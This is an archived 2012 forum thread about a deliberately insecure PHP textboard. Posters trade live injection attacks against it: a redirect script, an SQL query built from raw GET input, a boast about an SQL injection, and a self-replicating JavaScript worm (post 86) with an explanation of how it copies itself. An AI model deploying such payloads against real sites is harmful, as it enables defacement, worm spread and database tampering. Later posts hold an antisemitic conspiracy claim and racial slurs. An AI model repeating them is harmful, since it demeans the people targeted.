Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-4041-8081-120121-

check out my shitty text board implementation

Name: Anonymous 2012-08-18 4:29

in 75 lines of php

[url=http://54.245.123.189/190chan/]http://54.245.123.189/190chan/[/url]

it has no sql or html injection protection

SOURCE
[url=http://54.245.123.189/190chan/index.phps]
http://54.245.123.189/190chan/index.phps
[/url]

HOSTED THANKS TO AMAZON E CEE TWO

Name: Anonymous 2012-08-18 4:30

fucked up the urls shit

Name: Anonymous 2012-08-18 4:32

PHP
Stoppped reading there.

Name: Anonymous 2012-08-18 4:42

i can do this in 1 line of node.js

Name: Anonymous 2012-08-18 7:58

I can do this in 1/2 line of Perl

Name: Anonymous 2012-08-18 8:48

>no sql or html injection protection
>no sql injection
>using PDO
>html injection
>implying this is difficult
>$str = htmlspecialchars($str);

Name: Anonymous 2012-08-18 16:33

check out my shitty text board implementation

1 line of obfuscated ruby

hxxp://bbs.neet.tv/lounge/

Name: Anonymous 2012-08-18 16:57

UPDATED WITH ACTUALLY USING THE INITIAL POST FROM A TOPIC

also what is this

yolo.txt: 2012-08-18 13:35:27
yolo.txt

anyone know pls send help

Name: Anonymous 2012-08-18 17:29

why do you use the same background graphics as /prog/? how hard can it be to just change the color of a solid image background?

Name: Anonymous 2012-08-18 18:17

>>6
Back to /g/ with your fake quotes.

Name: Anonymous 2012-08-18 18:30

>>7
What is exactly this and why does it have so many threads about the imageboards?

Name: Anonymous 2012-08-18 19:18

UPDATED WITH PAGINATION AND SORTING BY LATEST POST HOLY FUCK

also
http://54.245.123.189/190chan/?threadid=4

Name: sage 2012-08-18 20:01

oh god is that the one where the dog fucks the girl

Name: Anonymous 2012-08-18 20:33

>>13
happened to me once

Name: Anonymous 2012-08-19 7:53

You can close threads with <--

Name: Anonymous 2012-08-19 22:45

15
feature not a bug

Name: Anonymous 2012-08-19 23:00

<--

Name: Anonymous 2012-08-20 17:10

>>17
<!--

Name: Anonymous 2012-08-21 3:20

this is truly the most democratic of boards and better than bbcode in every conceivable way

Want to change the background? Just insert a change in css!

Shit thread? insert a <!-- (among other things) and DING DONG THREAD OVER

/polecat kebabs/?
<script>
location.replace("https://boards.4chan.org/b/");
</script>

Name: Anonymous 2012-08-21 3:33

This is awesome! Real HTML is a feature, not a bug.

Name: Anonymous 2012-08-21 5:04

Can somebody write a lib with ruby bindings for {b.i.u.o.uc sexmarkup}?

Name: Anonymous 2012-08-21 7:22

I think I found an sql injection.

Name: >>22 2012-08-21 7:33

and I have no way of telling the author without telling other people who would use it. so I can only hope for the best.

Name: Anonymous 2012-08-21 7:55

>>23
How about creating a new table and inserting exploit description it in?

Name: Anonymous 2012-08-21 8:19

>>24
perfect. gimme a second.

Name: >>25 2012-08-21 9:25

ok OP. look for a table called exploits. The desc string explains how to fix it.

Name: >>25 2012-08-21 9:25

ok OP. look for a table called exploits. The desc string explains how to fix it.

Name: 27 2012-08-21 9:31

actually I might have messed up the sql syntax when making the table. Just look in the access logs, I'm afraid of breaking something.

Name: Anonymous 2012-08-21 12:29

I love this... It's amazingly fun to mess around on websites like this.

Name: Anonymous 2012-08-21 14:54

the fuck is this

http://i.imgur.com/pmuAd.png

Name: Anonymous 2012-08-21 15:04

>>30
[EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT] [EXPERT]NODE.JS[/EXPERT]

Name: Anonymous 2012-08-21 16:21

updated with blazing fast virtual table query optimization


SELECT t.id,t.title,t.date
FROM (SELECT MAX(pt.date) AS latest_date, pt.id AS post_id, pt.threadid AS thread_id
     FROM posts pt
     GROUP BY pt.threadid) lpd
LEFT JOIN threads t ON t.id = lpd.thread_id
ORDER BY lpd.latest_date DESC
LIMIT 20
OFFSET $offset;

Name: Anonymous 2012-08-21 16:30

where $offset = $_GET['offset'];

Name: Anonymous 2012-08-21 16:37

I accidentally redirected a lot of threads to meatspin and He-Man.
Sorry.

Name: Anonymous 2012-08-21 17:43

>>34
Fuck you, ``faggot''

Name: Anonymous 2012-08-21 18:34

I would rewrite it in C++ and skip the SQL bullshit.

Name: Anonymous 2012-08-21 18:40

>>36
Personally I would write everything related to the model in python. Then I would get all the controller stuff written in LISP in case you ever need to scale it with AI and such. Now the view I would do about half in php and the other half if html5.

Name: Anonymous 2012-08-21 19:39

>>36
Have fun reinventing the wheel with concurrent I/O nonsense.

Name: Anonymous 2012-08-21 23:18

Would /g/ have fun with this? Do they know enough HTML and JavaScript?

Name: 28 2012-08-21 23:21

ok OPP, I have revised my sql skills and have created the exploits table now. I think it was successful this time.

Name: Anonymous 2012-08-22 1:26

>>39
No.

Name: Anonymous 2012-08-22 2:16

>>40
thanks, fixed it

Name: Anonymous 2012-08-22 2:37

>Reply to thread:
><p style="font-size: 20px; font-family: impact; font-weight: bold;">Blah blah</p>
>Post didn't go through.
>For some reason the "Anon: 2012-08-22 06:35:17" got these attributes.
>Text box went massive.
Well... That was odd.

Name: Anonymous 2012-08-22 4:12

OP, you should advertise your site on Reddit and the image boards.

Name: Anonymous 2012-08-22 4:21

>>44
Nice dubs and le brilliant idea, bro! xD

Name: Cudder !MhMRSATORI!fR8duoqGZdD/iE5 2012-08-22 6:38

It's not "75 lines of php", you need to count the stuff in common.php (and all it includes) and the functions that are called here but not defined anywhere else.

And learn about something called "escaping", it should be the first thing in your mind when producing output and consuming input, and will automatically make your code resistant to lots of different injection attacks.

Name: Anonymous 2012-08-22 12:58

>>46
>And learn about something called "escaping", it should be the first thing in your mind when producing output and consuming input, and will automatically make your code resistant to lots of different injection attacks.
That would take away most of the fun.

Name: Anonymous 2012-08-22 15:17

<script type="text/javascript">
window.location = "data:text/html;charset=UTF-8,<html><head><script>var r=new XMLHttpRequest();r.open(\"GET\", \"http://54.245.123.189/190chan/?threadid=[i]thread[/i];\", false);r.send();document.write(r.responseText.replace(\"<meta[^>]*>\",\"\").replace(\"<html>\",\"\").replace(\"<head>\",\"\"))</script>"
</script>

Would a technique like this be able to prevent a <meta> refresh by filtering it out? This doesn't work, but would refreshing to a data: URL?

Name: Anonymous 2012-08-22 15:40

>>48
No.

Name: Anonymous 2012-08-22 17:42

>>46
that's where all the fun comes in, but I imagine it could be used for ``evil'' as well

>>48
are you trying to disable the auto-redirect? I think it would be easier just going through the dom and removing the tags

Name: Anonymous 2012-08-22 19:04

>>48,50
browsers handle <meta> redirects before they start to run any javascript in the page.

Name: Anonymous 2012-08-23 4:23

>>47
No it wouldn't.

Name: Anonymous 2012-08-23 16:37

Need a bump?
Why yes!

Name: Anonymous 2012-08-24 1:07

http://wiki.whatwg.org/wiki/HTML_vs._XHTML
HTML does not have a well-formedness constraint, no errors are fatal. Graceful error handling and recovery procedures are thoroughly defined.
This is why HTML is so much better than strict XHTML. With XHTML, one missing or misplaced tag and the whole page won't render. With HTML, you can forget start or end tags, partially overlap your formatting tags, use tags and attributes the browser doesn't understand, throw in unmatched angle brackets, and it'll still parse. In some of these cases it'll still know what you mean. Few of the tricks in OP's textboard would be possible with a strict language like XHTML.

Name: Anonymous 2012-08-24 2:23

>>54
XHTML is easy to parse. Poorly formed markup is a real pain to deal with. If you're writing HTML, you should be doing it correctly in any case.

Name: Anonymous 2012-08-24 3:24

>>54,55
Here's an HTML parsing rule for dealing with indirectly nested tags.
When the user agent is to apply the rules for the "in body" insertion mode, the user agent must handle the token as follows:
...
An end tag whose tag name is one of: "a", "b", "big", "code", "em", "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u"

    Run these steps:

        Let outer loop counter be zero.

        Outer loop: If outer loop counter is greater than or equal to eight, then abort these steps.

        Increment outer loop counter by one.

        Let the formatting element be the last element in the list of active formatting elements that:
            is between the end of the list and the last scope marker in the list, if any, or the start of the list otherwise, and
            has the same tag name as the token.

        If there is no such node, then abort these steps and instead act as described in the "any other end tag" entry below.

        Otherwise, if there is such a node, but that node is not in the stack of open elements, then this is a parse error; remove the element from the list, and abort these steps.

        Otherwise, if there is such a node, and that node is also in the stack of open elements, but the element is not in scope, then this is a parse error; ignore the token, and abort these steps.

        Otherwise, there is a formatting element and that element is in the stack and is in scope. If the element is not the current node, this is a parse error. In any case, proceed with the algorithm as written in the following steps.

        Let the furthest block be the topmost node in the stack of open elements that is lower in the stack than the formatting element, and is an element in the special category. There might not be one.

        If there is no furthest block, then the UA must skip the subsequent steps and instead just pop all the nodes from the bottom of the stack of open elements, from the current node up to and including the formatting element, and remove the formatting element from the list of active formatting elements.

        Let the common ancestor be the element immediately above the formatting element in the stack of open elements.

        Let a bookmark note the position of the formatting element in the list of active formatting elements relative to the elements on either side of it in the list.

        Let node and last node be the furthest block. Follow these steps:

            Let inner loop counter be zero.

            Inner loop: If inner loop counter is greater than or equal to three, then abort these steps.

            Increment inner loop counter by one.
            Let node be the element immediately above node in the stack of open elements, or if node is no longer in the stack of open elements (e.g. because it got removed by the next step), the element that was immediately above node in the stack of open elements before node was removed.
            If node is not in the list of active formatting elements, then remove node from the stack of open elements and then go back to the step labeled inner loop.
            Otherwise, if node is the formatting element, then go to the next step in the overall algorithm.
            Create an element for the token for which the element node was created, replace the entry for node in the list of active formatting elements with an entry for the new element, replace the entry for node in the stack of open elements with an entry for the new element, and let node be the new element.
            If last node is the furthest block, then move the aforementioned bookmark to be immediately after the new node in the list of active formatting elements.
            Insert last node into node, first removing it from its previous parent node if any.
            Let last node be node.
            Return to the step labeled inner loop.

        If the common ancestor node is a table, tbody, tfoot, thead, or tr element, then, foster parent whatever last node ended up being in the previous step, first removing it from its previous parent node if any.

        Otherwise, append whatever last node ended up being in the previous step to the common ancestor node, first removing it from its previous parent node if any.

        Create an element for the token for which the formatting element was created.

        Take all of the child nodes of the furthest block and append them to the element created in the last step.

        Append that new element to the furthest block.

        Remove the formatting element from the list of active formatting elements, and insert the new element into the list of active formatting elements at the position of the aforementioned bookmark.

        Remove the formatting element from the stack of open elements, and insert the new element into the stack of open elements immediately below the position of the furthest block in that stack.

        Jump back to the step labeled outer loop.

Name: Anonymous 2012-08-24 4:50

>>5
I can do it in 1/_ line of J

Name: Cudder !MhMRSATORI!fR8duoqGZdD/iE5 2012-08-24 5:02

>>56
All of that looks much more concise in actual code. Probably due to some requirements (might be copyright, not sure) they decided to spell out in English all the algorithms, which makes the whole standard rather more difficult to use. I think many would've preferred pseudocode.

It's probably still more concise even if it was written in Asm, since stuff like "Jump back to the step labeled outer loop" becomes jmp outer_loop.

Name: Anonymous 2012-08-24 7:00

>>57

_ is infinity, right?

Name: Anonymous 2012-08-24 7:23

The NVIDIA proprietary graphics driver used to sometimes create code much like the Synthesis kernel does. I don't know if newer versions of the driver still do it but the following comment seems to imply so:
That’s naive because, like I said, lots of the deprecated stuff is IN HARDWARE, and a well written OpenGL driver has no measurable overhead (function pointers and just-in-time code generation are wonderful things…) attributable to features you aren’t actually using.[1]

_________________________________
1. Mark J. Kilgard, 2010-26-08: http://www.geeks3d.com/20100825/why-opengl-is-superior-to-direct3d/#comment-13686

Name: 60 2012-08-24 7:29

Damn, wrong thread.

Name: Anonymous 2012-08-25 5:23

massive bump

Name: Anonymous 2012-08-25 16:03

Don't you die on me.

Name: Anonymous 2012-08-25 16:03

I feel kawaii.

Name: Anonymous 2012-08-25 23:23

This is really bad, why have you posted it here?

Name: Anonymous 2012-08-25 23:30

Name: Anonymous 2012-08-26 23:32

>>66
Cool HTML, bro!

Name: Anonymous 2012-08-27 2:44

>>3
Shiichan is coded in PHP!

Name: Anonymous 2012-08-27 2:53

>>68
Yeah and it's shit.

Name: Anonymous 2012-08-27 3:14

>>69
Yes, but we love the shitty PHP script that is Shiitchan. It's like countries that still have bicameral legislatures.

Name: Anonymous 2012-08-27 16:29

Name: Anonymous 2012-08-27 16:36

What is 2ch coded in? Is it open-source?

Name: Anonymous 2012-08-27 17:34

Name: Anonymous 2012-08-27 18:16

2CH A SHIT

Name: Anonymous 2012-08-27 19:11

>>73
perl

Name: Anonymous 2012-08-27 19:16

>>73
perl
*.cgi
flat-file database

The nostalgia !
The code is pretty clean. If shitchan was supposed to be an improvement they failed pretty hard.

Name: Anonymous 2012-08-27 19:29

>>76
But RDBMSASDF make your systems more robust and scalable!

Name: Anonymous 2012-08-27 20:19

>>76
In Shii's defense, he never claimed to be a programmer of any soet

Name: Anonymous 2012-08-27 20:34

>>78
He also never claimed to be a pædophile of any sort.

Name: Anonymous 2012-08-27 22:22

Name: Anonymous 2012-08-27 23:50

Name: Anonymous 2012-08-28 2:04

please let this board and this thread stay open forever
:3

Name: Anonymous 2012-08-28 2:25

whats so bad about PDOs?

Name: Anonymous 2012-08-28 2:44

>>83
unnecessary abstraction and OP doesn't use
$db->execute() thus defeating whole purpose

Name: Anonymous 2012-08-28 5:01

Name: Anonymous 2012-08-28 5:57



<form name=lol action="/190chan/" method=post><input type=hidden name=postname value=""><input type=hidden name=postsubject value="nyan"><input type=hidden name=postcontent value=""></form><script>var a="<form name=lol action=\"/190chan/\" method=post><input type=hidden name=postname value=\"\"><input type=hidden name=postsubject value=\"nyan\"><input type=hidden name=postcontent value=\"\"></form><script>var a=\"";var b="\";document.forms[\"lol\"].postcontent.value=a+a.replace(/\\\\/g,\"\\\\\\\\\").replace(/\"/g, \"\\\\\\\"\")+\"\\\";var b=\\\"\"+b.replace(/\\\\/g,\"\\\\\\\\\").replace(/\"/g, \"\\\\\\\"\")+b+\">\";document.forms[\"lol\"].submit();</script";document.forms["lol"].postcontent.value=a+a.replace(/\\/g,"\\\\").replace(/"/g, "\\\"")+"\";var b=\""+b.replace(/\\/g,"\\\\").replace(/"/g, "\\\"")+b+">";document.forms["lol"].submit();</script>

Name: Anonymous 2012-08-28 8:59

You could use that Python Junkie framework or how was it called

Name: Anonymous 2012-08-28 13:52

that feel when no one is impressed by your EXPERT quine PROGRAMMING

Name: Anonymous 2012-08-29 1:48

sage

Name: Anonymous 2012-08-29 12:40

making impressive things for /prog/ is like casting perls before quantum swine.

Name: Anonymous 2012-09-03 5:00

sage

Name: Anonymous 2012-09-03 5:03

>>88

is this your work? I am impressed.

http://54.245.123.189/190chan/?threadid=524

Name: Anonymous 2012-09-03 7:10

IMPRESS MY ANUS

Name: Anonymous 2012-09-04 10:45

<form>blahblah</form><script>var a='AAAA';var b='BBB';more code</script>
|-------------AAAA-----------------|                |--------BBB-------|


the string "AAAA" is just a quoted version of the |---AAA---| part, same with b.

So the trick is to post: a+quote(a)+";var b='"+quote(b)+b;

oh and I had to snip off the > from </script> otherwise it breaks..

Name: Anonymous 2012-09-04 20:03

Name: Anonymous 2012-09-04 20:07

also retarded facebook ``app'' I made for a hackathon, you'll need to log in with facebook to use it

(you can trust me /prog/)

http://54.245.123.189/190chan/?threadid=1136

Name: Anonymous 2012-09-04 20:49

>>95
you guys like ponies right
No. "My Little Pony" is a franchise owned by Hasbro, which is Jewish company (even its CEO, Brian Goldner, is Jewish). As a consistent antisemite I ought to warn everyone about the nature of the shareholders. By purchasing "My Little Pony" products you support Palestinian genocide and your own doom, because you make your oppressors, the Jews, even more powerful.

Name: Anonymous 2012-09-04 21:24

>>97
Palestinian are sandniggers, aren't they? Why should I care?

Name: Anonymous 2012-09-04 21:46

>>98
Shalom! May Hashem bless you!

Name: Anonymous 2012-09-04 22:02

>>99
Go bomb your ANUS, Ahmed.

Name: Anonymous 2012-09-05 5:56

>>97
By purchasing "My Little Pony" products you support Palestinian genocide
And then /prog/ started to like MLP.

Name: Anonymous 2012-09-05 17:46

Check out my thread filter! No more ``nyan'' or ``yolo.txt'' spam!
http://54.245.123.189/190chan/?threadid=1314

Name: Anonymous 2012-09-05 18:17

>>101
You mean hate it even more.

Name: Anonymous 2012-09-05 18:34

>>101,103
Shalom, Goldstein-san!

Name: Anonymous 2012-09-05 18:49

oops bugfix! Here's the new improved version of the thread filter! http://54.245.123.189/190chan/?threadid=1337

Name: Anonymous 2012-09-05 19:11

someone make a one line php fix to "the spam" and I'll put it in

Name: Anonymous 2012-09-05 19:26

>>105
don't ruin the site

Name: 102 2012-09-05 23:29

I am creating a new version of the ENTERPRISE Thread Filter™ containing patented Spam-Away™ filtering and Bump-Guard™ thread loss prevention tools based on next-generation HTML5 and JavaScript Web 2.0 asynchronous thread streaming technology.

Name: Anonymous 2012-09-06 9:54

>>108

Don't forget the fucking NODE.JS

Name: Anonymous 2012-09-06 11:59

U MENA NOODLEJS

Name: 102 2012-09-06 21:29

http://54.245.123.189/190chan/?threadid=14392
Here is a real updated Enterprise Thread Filter™. This one has a customizable filter and a help box.
>>109
Sorry, no node.js, multithreaded Web Workers or postMessage APIs yet.

Name: Anonymous 2012-09-06 23:45

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY000] [2003] Can't connect to MySQL server on '127.0.0.1' (111)' in /var/www/html/190chan/index.php:5 Stack trace: #0 /var/www/html/190chan/index.php(5): PDO->__construct('mysql:dbname=19...', 'root', '') #1 {main} thrown in /var/www/html/190chan/index.php on line 5

Name: Anonymous 2012-09-06 23:51

>>112
took the server down for a sec
here's a dump of the sql db if anyone's interested:
http://54.245.123.189/190chan/dumps/
20 megabytes of plaintext

also will work on way to make spam slightly harder to do

Name: Anonymous 2012-09-06 23:52

>>113
and I think 19 of those 20 megabytes are enterprise thread filter, nice work /proq/

Name: Anonymous 2012-09-06 23:56

>>114
There really is a thread filter. Click the link in >>111.

Name: Anonymous 2012-09-07 0:04

>>113

seeing the text in the exploits table made me feel all giddy again. haxing sure is fun.

Name: Anonymous 2012-09-07 0:50

SELECT DISTINCT t.title,t.id,t.date
FROM (SELECT MAX(pt.date) AS latest_date, pt.id AS post_id, pt.threadid AS thread_id FROM posts pt GROUP BY pt.threadid) lpd
JOIN threads t ON t.id = lpd.thread_id
GROUP BY t.title
ORDER BY lpd.latest_date DESC
LIMIT 20
OFFSET 0;


WE INTO MODERATION NOW

Name: Anonymous 2012-09-07 1:58

http://54.245.123.189/190chan/?threadid=14418

added in some meme default text (reply with no content to see it)

thinking about doing some advanced machine learning context free grammar shit here, anyone want to write an fitting grammar?

Name: Anonymous 2012-09-07 2:03

>>118

a random sentence generator from a given grammar? Sure. It sounds like the perfect job for lisp.

Name: Anonymous 2012-09-07 2:14

>>118

I think this will get you started:


(define (my-anusify s)
  (cond ((noun? s)
         (bbcode '(b i) '(MY ANUS)))
        ((and (list? s) (not (null? s)))
         (cons (my-anusify (car s)) (my-anusify (cdr s))))
        (else s)))

Name: Anonymous 2012-09-07 22:27

google for 190chan
shit bricks

Name: Anonymous 2012-09-07 22:38

Name: Anonymous 2012-09-07 23:26

>>122
spooky scary skeletons, and shivers down your spine.

Name: Anonymous 2012-09-08 3:01

Name: Anonymous 2012-09-08 3:58

>>124
don't dox me bro

Name: Anonymous 2012-09-08 7:22

>>125
Powerful spatial intelligence
( ≖‿≖)

Name: Anonymous 2012-09-14 13:44

Name: Anonymous 2012-09-14 17:51

>>88
Please die.

Name: Anonymous 2012-09-14 17:55

Tablecat BBS is better.

Name: Anonymous 2012-09-14 19:18

>>129
Perl is fucking shit.

Name: Anonymous 2012-09-14 20:11

>>130
No.

Name: Anonymous 2012-09-14 20:14

>>131
Yes.

Name: Anonymous 2012-09-14 20:45

>>132
no
also, check 'em

Name: Anonymous 2012-09-14 21:50

>>127
nice thread (!!!)

Name: Anonymous 2012-09-20 13:38

I was expecting someone to edit my worm so that it changes its title each time :(

Name: Anonymous 2012-09-20 15:15

/polecat kebabs/
Terrible!
Terrible!

Name: Anonymous 2012-09-20 17:50

Terrible!

You keep using that word. I don't think it means what you think it means.

Name: Anonymous 2012-09-20 18:18

New Enterprise Thread Filter UpdateTM

http://54.245.123.189/190chan/?threadid=14489

Name: Anonymous 2012-09-20 18:21

Terrible! Terrible!
Terrible! Terrible!
Terrible! Terrible!
Terrible! Terrible!
Terrible! Terrible!
Terrible! Terrible!

Name: Anonymous 2012-09-21 15:32

>138
(x) Empêcher cette page d'ouvrir des dialogues supplémentaires

nice try, faggot!

Name: Anonymous 2012-09-21 17:52

>>140
Back to le Reddit, ``please"!

Name: Anonymous 2012-09-24 13:09

>>140
EMPÊCHER MON ANUS

and learn to cite properly asshole

Name: Anonymous 2012-09-24 18:07

>>141
fuck you anglophone faggot

Name: Anonymous 2012-09-24 19:04

>>141
"
Phale.

Name: Anonymous 2012-11-17 13:23

FULL RETARD

Name: Anonymous 2012-11-17 14:03

>>143-144
Back to Reddit, Le Snail-Eating Parfum Jacques.

Name: Anonymous 2012-11-17 14:31

>>146
snails
One of the finest dish, pignouf.

Name: Anonymous 2012-11-17 14:46

>>147
Fuck off, fagshit.

Name: Anonymous 2013-07-25 22:41

what happened to this amazing chan?

Name: Anonymous 2013-07-25 23:04

>>149
Uncaught exception 'PDOException'

Name: Anonymous 2013-07-25 23:23

>>150
Wow, it's still up. I remember someone made a javascript quine html virus, and the page loads overloaded the database. I guess the maintainer just left it like that.

Don't change these.
Name: Email:
Entire Thread Thread List